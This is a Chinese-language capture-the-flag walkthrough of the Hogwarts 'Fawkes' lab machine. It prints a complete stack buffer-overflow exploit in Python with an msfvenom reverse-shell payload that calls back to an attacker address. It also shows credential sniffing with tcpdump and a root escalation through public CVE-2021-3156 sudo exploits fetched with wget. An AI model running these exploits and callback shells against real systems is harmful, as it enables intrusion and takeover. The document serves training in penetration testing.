信息搜集 靶机发现 1 sudo nmap -sn 192.168.241.0/24
目标靶机 ip 为 192.168.116.131
端口发现 1 2 3 4 5 6 7 8 sudo nmap -sT --min-rate 10000 -p- 192.168.116.131 -oA nmapscan/portsPORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 2222/tcp open EtherNetIP-1 9898/tcp open monkeycom
端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 sudo nmap -sT -sV -sC -O -p21,22,80,2222,9898 192.168.116.131 -oA nmapscan/detailPORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.116.128 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 48:df :48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA) | 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA) |_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 2222/tcp open ssh OpenSSH 8.4 (protocol 2.0) | ssh-hostkey: | 3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA) | 256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA) |_ 256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519) 9898/tcp open tcpwrapped
UDP 扫描 1 2 3 sudo nmap -sU --top-ports 20 192.168.116.131 -oA nmapscan/udp68/udp open|filtered dhcpc
漏洞扫描 1 2 sudo nmap --script=vuln -p21,22,80,2222,9898 192.168.116.131 -oA nmapscan/vuln
渗透测试 80 端口 web 只有一张首页图 没有找到其他子页面
9898 端口 monkey com 可以把monkeycom当作VPN使用吗
但是nc http都没有连接成功
21 ftp 可以匿名无密码登陆进去 binary
下载到一个文件 二进制文件 strings简单查看 大部分是无用信息 部分可读:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 Welcome to Hogwart's magic portal Tell your spell and ELDER WAND will perform the magic Here is list of some common spells: 1. Wingardium Leviosa 2. Lumos 3. Expelliarmus 4. Alohomora 5. Avada Kedavra ../csu/libc-start.c i686 i586 FATAL: kernel too old __ehdr_start.e_phentsize == sizeof *GL(dl_phdr) Unexpected reloc type in static binary. FATAL: cannot determine kernel version __libc_start_main /dev/full /dev/null %s%s%s:%u: %s%sAssertion `%s' failed.Unexpected error. OUTPUT_CHARSET charset= %s/%s LANGUAGE POSIX /usr/share/locale messages /usr/share/locale /locale.alias plural= nplurals= cxa_atexit.c l != NULL func != NULL __new_exitfn __internal_atexit to_outpunct (nil) vfprintf-internal.c __mbsinit (&mbstate) (mode_flags & PRINTF_FORTIFY) != 0 *** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX (size_t) done <= (size_t) INT_MAX *** %n in writable segment detected *** printf_positional __vfprintf_internal (null) 0000000000000000 wfileops.c status == __codecvt_partial _IO_wfile_underflow iofwide.c fcts.towc_nsteps == 1 fcts.tomb_nsteps == 1 _IO_fwide Fatal error: glibc detected an invalid stdio handle ,ccs= _IO_new_file_fopen strops.c offset >= oldend enlarge_userbuf malloc: top chunk is corrupt malloc.c chunk_is_mmapped (p) aligned_OK (chunk2mem (p)) prev_size (p) == offset arena.c result->attached_threads == 0 <heap nr="%d" > <sizes> </heap> corrupted size vs. prev_size corrupted double-linked list free(): invalid pointer free(): invalid size invalid fastbin entry (free) heap->ar_ptr == av correction >= 0 p->attached_threads == 0 chunk_main_arena (bck->bk) chunk_main_arena (fwd) bit != 0 malloc(): corrupted top size realloc(): invalid old size !chunk_is_mmapped (oldp) realloc(): invalid next size realloc(): invalid pointer a->attached_threads > 0 nclears >= 3 Arena %d: system bytes = %10u in use bytes = %10uTotal (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu <malloc version="1" > %s%s%s:%u: %s%sAssertion `%s' failed. munmap_chunk(): invalid pointer mremap_chunk(): invalid pointer replaced_arena->attached_threads > 0 <size from="%zu" to="%zu" total="%zu" count="%zu"/> <unsorted from="%zu" to="%zu" total="%zu" count="%zu"/> </sizes> <total type="fast" count="%zu" size="%zu"/> <total type="rest" count="%zu" size="%zu"/> <system type="current" size="%zu"/> <system type="max" size="%zu"/> <aspace type="total" size="%zu"/> <aspace type="mprotect" size="%zu"/> <aspace type="subheaps" size="%zu"/> <aspace type="total" size="%zu"/> <aspace type="mprotect" size="%zu"/> <total type="fast" count="%zu" size="%zu"/> <total type="rest" count="%zu" size="%zu"/> <total type="mmap" count="%d" size="%zu"/> <system type="current" size="%zu"/> <system type="max" size="%zu"/> <aspace type="total" size="%zu"/> <aspace type="mprotect" size="%zu"/> </malloc>
有一些逻辑和前段页面的信息 尝试本地部署运行
运行后没有回显 另开一个终端尝试本地nc连接
成功连接
由于文件是ELF文件 需要在kali本地进行调试 物理机没条件
pwn 结合之前做过的二进制渗透思路 这里是可以输入内容的 , 可能会有缓冲区溢出的漏洞
kali 环境配置 首先关闭ASLR优化 不然本地指令地址会随机化 导致每次进程的地址空间不一样 无法复用
1 echo 0 > randomize_va_space
安装工具
1 sudo apt install edb-debugger
大致溢出范围 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import socketimport timeimport syssize = 20 while True : try : print ("\n[+] Sent evil buffer %s bytes " % size) buffer = 'A' * size s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.241.128" , 9898 )) s.send(buffer.encode()) s.close() size += 20 time.sleep(3 ) except Exception as e: print ("\nError" ) sys.exit() [+] Sent evil buffer 20 bytes [+] Sent evil buffer 40 bytes [+] Sent evil buffer 60 bytes [+] Sent evil buffer 80 bytes [+] Sent evil buffer 100 bytes [+] Sent evil buffer 120 bytes [+] Sent evil buffer 140 bytes Error
大概是140字节
精确 EDX 1 2 3 msf-pattern_create -l 160 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
开启动态调试 寻找 EDX 报错溢出地址
1 2 EDX ffffcda4 PID 64413764
PID 定位 1 2 3 msf-pattern_offset -l 160 -q 64413764 [*] Exact match at offset 112
从 112 开始往后的四个字节填充了 EIP 指向的内容 之后开始出现溢出
1 2 3 4 python -c "print('A'*112+'BBBB'+'C'*400)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
确认
且抛出异常的地址为 c9bc
把C的长度改为400 这时候
C结束地址为 cb4c
长度389
足够写入shellcode
坏字节 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import sys,socketbadchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" + "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" + "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" + "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" + "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" + "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" + "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" + "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" + "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" + "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" + "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" + "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" + "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" + "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" + "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" + "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) payload = 'A' *112 + 'B' *4 + badchars try : print ("1" ) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1' , 9898 )) s.send((payload.encode())) s.close() except : print ("Wrong!" ) sys.exit()
除了\00 都不是坏字节
定位ESP 1 2 3 msf-nasm_shell nasm > jmp esp 00000000 FFE4 jmp esp
为寻找opcode 需在 edb中 使用 plugins > OpcodeSeacher > ESP→EIP (选择有可执行权限的进程)
0x08049d55 为所需要的地址 同时注意需要倒序写入shellcode 同时Nop
exp 1 sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168 .241 .181 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import sys,socketbuf = b"" buf += b"\xbb\x3f\x22\x75\x22\xdb\xd1\xd9\x74\x24\xf4\x5a" buf += b"\x33\xc9\xb1\x12\x31\x5a\x12\x03\x5a\x12\x83\xd5" buf += b"\xde\x97\xd7\x18\xc4\xaf\xfb\x09\xb9\x1c\x96\xaf" buf += b"\xb4\x42\xd6\xc9\x0b\x04\x84\x4c\x24\x3a\x66\xee" buf += b"\x0d\x3c\x81\x86\x4d\x16\x80\xe3\x26\x65\x63\x0a" buf += b"\x0c\xe0\x82\xbc\x14\xa3\x15\xef\x6b\x40\x1f\xee" buf += b"\x41\xc7\x4d\x98\x37\xe7\x02\x30\xa0\xd8\xcb\xa2" buf += b"\x59\xae\xf7\x70\xc9\x39\x16\xc4\xe6\xf4\x59" payload='A' *112 +'\x55\x9d\x04\x08' +'\x90' *32 +buf try : s=socket.socket() s.connect(('127.0.0.1' ,9898 )) s.send((payload)) s.close() except : print ('wrong' ) sys.exit()
概率成功
ip 改为靶机 再次使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import sys,socketbuf = b"" buf += b"\xbb\x3f\x22\x75\x22\xdb\xd1\xd9\x74\x24\xf4\x5a" buf += b"\x33\xc9\xb1\x12\x31\x5a\x12\x03\x5a\x12\x83\xd5" buf += b"\xde\x97\xd7\x18\xc4\xaf\xfb\x09\xb9\x1c\x96\xaf" buf += b"\xb4\x42\xd6\xc9\x0b\x04\x84\x4c\x24\x3a\x66\xee" buf += b"\x0d\x3c\x81\x86\x4d\x16\x80\xe3\x26\x65\x63\x0a" buf += b"\x0c\xe0\x82\xbc\x14\xa3\x15\xef\x6b\x40\x1f\xee" buf += b"\x41\xc7\x4d\x98\x37\xe7\x02\x30\xa0\xd8\xcb\xa2" buf += b"\x59\xae\xf7\x70\xc9\x39\x16\xc4\xe6\xf4\x59" payload='A' *112 +'\x55\x9d\x04\x08' +'\x90' *32 +buf try : s=socket.socket() s.connect(('192.168.241.185' ,9898 )) s.send((payload)) s.close() except : print ('wrong' ) sys.exit()
提权 harry 172.17.0.2/16
1 2 3 4 5 6 cat .mycreds.txt HarrYp0tter@Hogwarts123 uname -a Linux 2b 1599256ca6 4.19 .0 -16 -amd64 #1 SMP Debian 4.19 .181 -1 (2021 -03 -19 ) x86_64 Linux
ip 不是目标靶机的 可能在一个虚拟linux机器内
获得一个凭据 HarrYp0tter@Hogwarts123
但是不能ssh 到 185 或者 ftp
难道是80端口或者其他服务的?
1 2 3 4 5 21 /tcp open ftp no22 /tcp open ssh no80 /tcp open http no2222 /tcp open EtherNetIP-1 9898 /tcp open monkeycom server
还有一个2222端口
用主站轮询、从站周期性更新或是状态改变(COS)时更新的方式,方便主站监控从站的状态,讯息会用UDP的报文送出。
用一对一、一对多或是广播的方式,透过用TCP的报文送出资料。
EtherNet/IP使用TCP端口44818作为显式报文的处理,UDP端口2222作为隐式报文的处理。
EtherNet/IP的应用层协定是以使用在DeviceNet、CompoNet及ControlNet的通用工业协定(CIP)为基础。
1 2 3 4 nc 192.168 .241 .185 2222 SSH-2.0 -OpenSSH_8.4 Invalid SSH identification string .
支持的是SSH服务?
2222 EtherNetIP-1 1 sudo ssh -p 2222 HarrYp0tter@192.168 .241 .185
还是不行
1 2 sudo ssh -p 2222 harry@192.168 .241 .185 HarrYp0tter@Hogwarts123
成功
但是环境几乎没变? ip a仍然是之前的ip
根目录有一个 .dockerenv
现在应该还是在一个docker容器中 需要先进行一个逃逸
1 2 3 sudo -lUser harry may run the following commands on 2b1599256ca6: (ALL) NOPASSWD: ALL
1 2 3 4 5 6 7 8 9 10 11 12 13 sudo su;cd root;ls cat horcrux1.txt horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=} echo "NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=" | base64 -d6: HaRrY PotTer dEsTrOyed by volDeMorT cat note.txt Hello Admin!! We have found that someone is trying to login to our ftp server by mistake. You are requested to analyze the traffic and figure out the user.
分析 traffic?
分析流量并确定用户
分析流量 流量包 没找到现成的流量包 考虑抓取分析
主要针对21端口的ftp服务
1 2 sudo tcpdump -i eth0@if5 port 21 -w capture.pcaptcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
好像没反应
1 2 3 4 5 6 7 8 cpdump -i eth0 port 21 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 18:44:01.674446 IP 172.17.0.1.44670 > 2b1599256ca6.21: Flags [P.], seq 15:30, ack 55, win 502, options [nop,nop,TS val 3793423575 ecr 30207209], length 15: FTP: PASS bL!Bsg3k 18:46:01.790305 IP 172.17.0.1.44672 > 2b1599256ca6.21: Flags [P.], seq 1:15, ack 21, win 502, options [nop,nop,TS val 3793543691 ecr 30327325], length 14: FTP: USER neville
neville
bL!Bsg3k
neville 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cat horcrux2.txt horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t} find / -writable -type f ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null /home/neville/.profile /home/neville/.bash_logout /etc/passwd.bak find / -perm -u=s -type f 2>/dev/null /usr/local/bin/sudo ls -liah /usr/local/bin/sudo 22097 -rwsr-xr-x 1 root root 568K Apr 7 2021 /usr/local/bin/sudo neville@Fawkes:~$ /usr/local/bin/sudo -V Sudo version 1.8.27 Sudoers policy plugin version 1.8.27 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.27
发现sudo文件不正常 但是无法使用?
研究一下
-v
选项用于验证当前用户的密码有效性并刷新其缓存
-V
选项用于显示 sudo
的版本信息 大写
1 2 3 sudo -V/usr/local/bin/sudo -V
输出的是同一个版本信息 1.8.27
网上搜一下 发现这个版本有CVE
1 2 3 sudoedit -s / Password: neville is not in the sudoers file. This incident will be reported.
通过验证 大概率是可以使用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156make php -S 0:80 wget http://<ip>/sudo-hax-me-a-sandwich chmod +x ./sudo-hax-me-a-sandwich ./sudo-hax-me-a-sandwich 1
但是编译环境不同 这个exp不能用
搜索 sudo 1.8.27 python
https://github.com/worawit/CVE-2021-3156
通用竞争尝试 1 2 3 4 5 6 7 8 9 10 11 12 13 python3 user.py Traceback (most recent call last): File "user.py" , line 712, in <module> sudo_ver = check_sudo_version() File "user.py" , line 435, in check_sudo_version sudo_vers = get_sudo_version() File "user.py" , line 418, in get_sudo_version proc = subprocess.Popen([SUDO_PATH, '-V' ], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) File "/usr/lib/python3.7/subprocess.py" , line 775, in __init__ restore_signals, start_new_session) File "/usr/lib/python3.7/subprocess.py" , line 1522, in _execute_child raise child_exception_type(errno_num, err_msg, err_filename) FileNotFoundError: [Errno 2] No such file or directory: b'/usr/bin/sudo' : b'/usr/bin/sudo'
脚本默认是 /usr/bin/sudo 所以sed替换一下
1 sed -i 's#/usr/bin/sudo#/usr/local/bin/sudo#g' user.py
Warning: Only work if you known current user’s password and no defaults. not implement
自动攻击 NSS
1 2 3 exploit_nss.py auto detect all requirements and number of entries in /etc/nsswitch.conf sed -i 's#/usr/bin/sudo#/usr/local/bin/sudo#g' nss.py
成功提权